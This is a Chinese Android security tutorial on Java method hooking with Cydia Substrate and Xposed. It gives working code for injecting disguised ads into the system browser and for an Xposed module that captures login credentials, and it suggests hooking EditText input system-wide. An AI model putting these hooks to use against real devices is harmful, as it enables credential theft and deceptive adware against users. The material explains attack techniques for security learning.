ThinkChat2.0新版上线,更智能更精彩,支持会话、画图、阅读、搜索等,送10W Token,即刻开启你的AI之旅 广告
我们介绍过Cydiasubstrate框架提供在Java层Hook的能力,其中主要是提供了三个比较重要的方法, * MS.hookClassLoad * MS.hookMethod * MS.moveUnderClassLoader。 三个方法的具体介绍如下图1 所示 ![](https://box.kancloud.cn/7b1d343c8ce60e721c7fe41dba9ab164_763x264.png) ~~~ /** Hook一个指定的Class * * @paramname Class的包名+类名,如android.content.res.Resources * @paramhook 成功Hook一个Class后的回调 */ void hookClassLoad(String name, MS.ClassLoadHook hook); /** * Hook一个指定的方法,并替换方法中的代码 * * @param_class Hook的calss * @parammember Hook class的方法参数 * @paramhook 成功Hook方法后的回调 * @paramold Hook前方法,类似C中的方法指针 */ void hookMethod(Class _class, Member member, MS.MethodHook hook, MS.MethodPointer old); /** * Hook一个指定的方法,并替换方法中的代码 * * @param_class Hook的calss * @parammember Hook class的方法参数 * @paramalteration */ void hookMethod(Class _class, Member member, MS.MethodAlteration alteration); /** * 使用一个ClassLoader重载一个对象 * * @paramloader 使用的ClassLoader * @paramobject 待重载的对象 * @return重载后的对象 */ <T>TmoveUnderClassLoader(ClassLoader loader, T object); ~~~ #### **尝试Hook系统API** **实战**:如我们希望Hook Android系统中的Resources类,并将系统中的颜色都改为紫罗兰色。思路很简单,我们只需要拿到系统中Resources类的getColor方法,将其返回值做修改即可。 使用substrate来实现分为以下几步。 **1. 在AndroidManifest.xml文件中配置主入口** 需要在AndroidManifest.xml中声明cydia.permission.SUBSTRATE权限,声明substrate的主入口。具体代码如下所示 ~~~ <!-- 加入substrate权限 --> <uses-permission android:name="cydia.permission.SUBSTRATE" /> <application     android:allowBackup="true"     android:icon="@drawable/ic_launcher"     android:label="@string/app_name"     android:theme="@style/AppTheme" > <!-- 声明substrate的注入口味Main类 --> <meta-data        android:name="com.saurik.substrate.main"        android:value=".Main" /> </application> ~~~ **2.新创建主入口Main.Java类** 上一步中已经声明了主入口为Main类,所以我们需要在对应的目录下新建一个Main类,且需要实现其initialize方法。具体实现如下: ~~~ public class {    /**    * substrate 初始化后的入口    */ static void initialize() {   } } ~~~ **3.Hook系统的Resources,Hook其getColor方法,修改为紫罗兰** 使用MS.hookClassLoad方法Hook系统的Resources类,并使用MS.hookMethod方法hook其getColor方法,替换其方法。具体实现如下所示。 ~~~ import Java.lang.reflect.Method; import com.saurik.substrate.MS; public class {    /**    * substrate 初始化后的入口    */ static void initialize() {     // hook 系统的 Resources类     MS.hookClassLoad("android.content.res.Resources", newMS.ClassLoadHook() {       // 成功hook resources类 public void classLoaded(Class<?> resources) {         // 获取 Resources类中的 getColor方法         Method getColor; try{           getColor = resources.getMethod("getColor", Integer.TYPE);         } catch(NoSuchMethodException e) {           getColor = null;         } if(getColor != null) {           // Hook前的原方法 final MS.MethodPointer old = newMS.MethodPointer();           // hook Resources类中的getColor方法           MS.hookMethod(resources, getColor, newMS.MethodHook() { public Object invoked(Object resources, Object...args) throws Throwable { intcolor = (Integer) old.invoke(resources, args);               // 将所有绿色修改成了紫罗兰色 return color & ~0x0000ff00 | 0x00ff0000;             }           }, old);         }       }    });   } } ~~~ **4.安装、重启、验证** 因为我们的应用是没有Activity,只存在substrate的,所以安装后substrate就会自动地执行了。重启后,我们打开浏览器引用,发现颜色已经改变了,如图8-11所示。 ![](https://box.kancloud.cn/1d10f75dfba7185b88d11fc5da9db7ef_616x399.png) 阅读了本例之后,读者们是不是发现使用了CydiaSubstrate框架后我们Hook系统中的一些Java API并不是什么难事?上面的例子我们只是简单地修改了Resources中的getColor方法,并没有涉及到系统与应用的安全。但是,如果开发者直接Hook系统安全方面比较敏感的方法,如TelephonyManager 类中getDeviceId方法、短信相关的方法或一些关键的系统服务中的方法,那么后果是不堪想象的。 #### **Hook指定应用注入广告** 从上面的例子我们可以看出来,使用Cydiasubstrate框架我们能够任意地Hook系统中的Java API,当然其中也用到了很多的反射机制,那么除了系统中给开发者提供的API以外,我们能否也Hook应用程序中的一些方法呢?答案是肯定的。下面我们就以一个实际的例子讲解一下如何Hook一个应用程序。 下面我们针对Android操作系统的浏览器应用,Hook其首页Activity的onCreate方法(其他方法不一定存在,但是onCreate方法一定会有),并在其中注入我们的广告。根据上面对Cydiasubstrate的介绍,我们有了一个简单的思路。 首先,我们根据某广告平台的规定,在我们的AndroidManifest.xml文件中填入一些广告相关的ID,并且在AndroidManifest.xml文件中填写一些使用Cydiasubstrate相关的配置与权限。当然,我们还会声明一个广告的Activity,并设置此Activity为背景透明的Activity,为什么设置为透明背景的Activity,原理如图8-12所示。 :-: ![](https://box.kancloud.cn/79619d137d3331f34014eb12336b7446_331x283.png) 其AndroidManifest.xml文件的部分内容如下所示 ~~~ <!-- 广告相关的权限 --> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.GET_TASKS" /> <!-- 加入substrate权限 --> <uses-permission android:name="cydia.permission.SUBSTRATE" /> <application   android:allowBackup="true"   android:icon="@drawable/ic_launcher"   android:label="@string/app_name"   android:theme="@style/AppTheme" > <!-- 广告相关参数 --> <meta-data     android:name="App_ID"     android:value="c62bd976138fa4f2ec853bb408bb38af" /> <meta-data     android:name="App_PID"     android:value="DEFAULT" /> <!-- 声明substrate的注入口为Main类 --> <meta-data     android:name="com.saurik.substrate.main"     android:value="com.example.hookad.Main" /> <!-- 透明无动画的广告Activity --> <activity     android:name="com.example.hookad.MainActivity"     android:theme="@android:style/Theme.Translucent.NoTitleBar" > <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <!-- 广告的action --> <action android:name="com.example.hook.AD" /> </intent-filter> </activity> </application> ~~~ 对于Cydiasubstrate的主入口Main类,依照之前的步骤新建一个包含有initialize方法的Main类。这个时候我们希望使用MS.hookClassLoad方式找到浏览器主页的Activity名称,这里我们在adb shell下使用dumpsys activity命令找到浏览器主页的Activity名称为com.android.browser.BrowserActivity,如图8-13所示 :-: ![](https://box.kancloud.cn/35be908d46ba39e1af2a0311c47be4fc_635x143.png) 使用MS.hookClassLoad方法获取了BrowserActivity之后再hook其onCreate方法,在其中启动一个含有广告的Activity。Main类的代码如下所示。 ~~~ public class {   /**    * substrate 初始化后的入口    */ static void initialize() {     //Hook 浏览器的主Activity,BrowserActivity     MS.hookClassLoad("com.android.browser.BrowserActivity", new MS.ClassLoadHook() { public void class Loaded(Class<?> resources) {         Log.e("test", "com.android.browser.BrowserActivity");         // 获取BrowserActivity的onCreate方法         Method onCreate; try{           onCreate = resources.getMethod("onCreate", Bundle.class);         } catch(NoSuchMethodException e) {           onCreate = null;         } if(onCreate != null) { final MS.MethodPointer old = newMS.MethodPointer();           // hook onCreate方法           MS.hookMethod(resources, onCreate, new MS.MethodHook() { public Object invoked(Object object, Object...args) throws Throwable {               Log.e("test", "show ad"); // 执行Hook前的onCreate方法,保证浏览器正常启动               Object result = old.invoke(object, args); // 没有Context               //执行一个shell启动我们的广告Activity               CMD.run("am start -a com.example.hook.AD"); return result;             }           }, old);         }       }    });   } } ~~~ 对于启动的广告MainActivity,在其中会弹出一个插屏广告,当然也可以是其他形式的广告或者浮层,内容比较简单这里不做演示了。对整个项目进行编译,运行。这个时候我们重新启动Android自带的浏览器的时候发现,浏览器会弹出一个广告弹框,如图下图8-14所示。 :-: ![](https://box.kancloud.cn/adc9f0d67afdc357cac065eb7ba23f2e_371x462.png) 从上面的图片我们可以看出来了,之前我们设置插屏广告MainActivity为无标题透明(**Theme.Translucent.NoTitleBar**)就是为了使弹出来的广告与浏览器融为一体,让用户感觉是浏览器弹出的广告。这也是恶意广告程序为了防止自身被卸载掉的一些通用隐藏手段。 这里演示的注入广告是通过Hook指定的Activity中的onCreate方法来启动一个广告Activity的。当然,这里我们演示的Activity只是简单地弹出了一个广告。如果启动的Activity带有恶意性,如将Activity做成与原Activity一模一样的钓鱼Activity,那么对于移动设备用户来说是极具欺骗性的。 #### **App登录劫持** 看了上面的两个Hook例子,很多读者应该都能够了解了Hook所带来的巨大危害性,特别是针对一些有目的性的Hook。例如我们常见的登录劫持,就是使用到了Hook技术来完成的。那么这个登录劫持是如何完成的呢?下面我们就具体来看看,一个我们在开发中常见到的登录例子。首先我们看看一个常见的登录界面是什么样子的,图8-15所示是一个常见的登录页面。 :-: ![](https://box.kancloud.cn/1eae2c07d53eb6fe2fc6cd6a84f26a32_269x209.png) 其对应的登录流程代码如下所示。 ~~~ // 登录按钮的onClick事件 mLoginButton.setOnClickListener(new OnClickListener() {   @Override   public void onClick(View v) {    // 获取用户名     String username = mUserEditText.getText() + ""; //获取密码     String password = mPasswordEditText.getText() + ""; if(isCorrectInfo(username, password)) {       Toast.makeText(MainActivity.this, "登录成功!", Toast.LENGTH_LONG).show();     } else{       Toast.makeText(MainActivity.this, "登录失败!", Toast.LENGTH_LONG).show();     }   } }); ~~~ 我们会发现,登录界面上面的用户信息都存储在EditText控件上,然后通过用户手动点击“登录”按钮才会将上面的信息发送至服务器端去验证账号与密码是否正确。这样就很简单了,黑客们只需要找到开发者在使用EditText控件的getText方法后进行网络验证的方法,Hook该方法,就能劫持到用户的账户与密码了。具体流程如图8-16所示。 :-: ![](https://box.kancloud.cn/d84ae75f15771b0066191ecaa9bce571_411x354.png) >[info] 当然,我们也可以仿照上一个例子,做一个一模一样的Activity,再劫持原Activity优先弹出来,达到欺骗用户获取密码的目的。 明白了原理下面我们就实际地操作一次,这里我们选择使用Xposed框架来操作。使用Xposed进行Hook操作主要就是使用到了Xposed中的两个比较重要的方法,handleLoadPackage获取包加载时的回调并拿到其对应的classLoader,findAndHookMethod对指定类的方法进行Hook。它们的详细定义如下所示。 ~~~ /**   * 包加载时的回调    */   public void handleLoadPackage(final LoadPackageParam lpparam)   /**    * Xposed提供的Hook方法    *    * @paramclassName 待Hook的Class    * @paramclassLoader classLoader    * @parammethodName 待Hook的Method    * @paramparameterTypesAndCallback hook回调    * @return    */ ~~~ Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) 当然,我们使用Xposed进行Hook也分为如下几个步骤。 **1.在AndroidManifest.xml文件中配置插件名称与Api版本号** ~~~ <application     android:allowBackup="true"     android:icon="@drawable/ic_launcher"     android:label="@string/app_name"     android:theme="@style/AppTheme" > <meta-data       android:name="xposedmodule"       android:value="true" /> <!-- 模块描述 --> <meta-data       android:name="xposeddescription"       android:value="一个登录劫持的样例" /> <!-- 最低版本号 --> <meta-data       android:name="xposedminversion"       android:value="30" /> </application> ~~~ **2.新创建一个入口类继承并实现IXposedHookLoadPackage接口** 如下操作,我们新建了一个com.example.loginhook.Main的类,并实现IXposedHookLoadPackage接口中的handleLoadPackage方法,将非com.example.login包名的应用过滤掉,即我们只操作包名为com.example.login的应用,如下所示。 ~~~ public class Main implements IXposedHookLoadPackage {   /**    * 包加载时的回调    */ public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {     // 将包名不是 com.example.login 的应用剔除掉 if(!lpparam.packageName.equals("com.example.login")) return;     XposedBridge.log("Loaded app: " + lpparam.packageName);   } } ~~~ **3.声明主入口路径** 需要在assets文件夹中新建一个xposed_init文件,并在其中声明主入口类。如这里我们的主入口类为com.example.loginhook.Main,查看其内容截图如图8-17所示。 :-: ![](https://box.kancloud.cn/c3e81ec505540eea60bde5fa23db9051_368x105.png) **4.使用findAndHookMethod方法Hook劫持登录信息** 这是最重要的一步,我们之前所分析的都需要到这一步进行操作。如我们之前所分析的登录程序,我们需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我们使用Xposed提供的findAndHookMethod直接进行MethodHook操作(与Cydia很类似)。在其Hook回调中使用XposedBridge.log方法,将登录的账号密码信息打印至Xposed的日志中。具体操作如下所示。 ~~~ import static de.robv.android.xposed.XposedHelpers.findAndHookMethod; public class Main implements IXposedHookLoadPackage { /** * 包加载时候的回调 */ public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { // 将包名不是 com.example.login 的应用剔除掉 if (!lpparam.packageName.equals("com.example.login")) return; XposedBridge.log("Loaded app: " + lpparam.packageName); // Hook MainActivity中的isCorrectInfo(String,String)方法 findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class, String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log("开始劫持了~"); XposedBridge.log("参数1 = " + param.args[0]); XposedBridge.log("参数2 = " + param.args[1]); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log("劫持结束了~"); XposedBridge.log("参数1 = " + param.args[0]); XposedBridge.log("参数2 = " + param.args[1]); } }); } } ~~~ **5.在XposedInstaller中启动我们自定义的模块** 编译后安装在Android设备上的模块应用程序不会立即生效,我们需要在XpasedInstaller模块选项中勾选待启用的模块才能让其正常地生效,如图8-18所示。 :-: ![](https://box.kancloud.cn/9bb243aa705cbf4ef68686d031b4473f_406x203.png) **6.重启验证** 重启Android设备,进入XposedInstaller查看日志模块,因为我们之前使用的是XposedBridge.log方法打印log,所以log都会显示在此处。如图8-19所示,我们发现我们需要劫持的账号密码都显示在此处。 :-: ![](https://box.kancloud.cn/26b42527183935e3f391d765a79d1e33_406x212.png) >[info] 这里我们是通过逆向分析该登录页面的登录判断调用函数来完成Hook与劫持工作的。有些读者应该想出来了,我们能不能直接对系统中提供给我们的控件EditText(输入框控件)中的getText()方法进行Hook呢?这样我们就能够对系统中所有的输入进行监控劫持了。这里留给大家一个思考,感兴趣的读者可以尝试一下。 #### **参考文章:** [《Android安全技术揭秘与防范》—第8章8.3节HookAndroid应用](https://yq.aliyun.com/articles/99846?spm=5176.100239.blogcont99909.20.6fd616147MOkdC) [Android Hook神器——XPosed入门(登陆劫持演示)](http://blog.csdn.net/yzzst/article/details/47659479)